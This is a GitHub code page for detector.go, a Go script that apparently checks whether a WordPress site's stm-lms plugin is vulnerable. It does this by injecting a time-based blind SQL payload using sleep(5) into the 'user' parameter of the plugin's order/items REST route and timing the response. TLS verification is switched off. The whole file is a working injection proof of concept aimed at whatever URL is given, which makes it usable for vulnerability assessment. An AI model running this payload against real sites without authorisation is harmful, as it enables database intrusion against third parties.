-
Notifications
You must be signed in to change notification settings - Fork 2
/
detector.go
49 lines (38 loc) · 1.1 KB
/
detector.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package main
import (
"crypto/tls"
"fmt"
"net/http"
"net/url"
"os"
"time"
)
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage: go run main.go http://example.com")
os.Exit(1)
}
baseURL := os.Args[1]
query1 := "/?rest_route=/lms/stm-lms/order/items&author_id=111&user="
query2 := "1) AND (SELECT 1 FROM (SELECT sleep(5))AA"
encodedQuery := url.QueryEscape(query2)
fullURL := baseURL + query1 + encodedQuery
fmt.Println(fullURL)
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
client := &http.Client{
Timeout: 100 * time.Second,
}
startTime := time.Now()
resp, err := client.Get(fullURL)
if err != nil {
fmt.Printf("Error making request: %v\n", err)
os.Exit(1)
}
defer resp.Body.Close()
responseTime := time.Since(startTime)
if responseTime >= 5*time.Second {
fmt.Printf("Success: %s | Response Time:%s\n", baseURL, responseTime)
} else {
fmt.Printf("Fail: %s | Response Time:%s\n", baseURL, responseTime)
}
}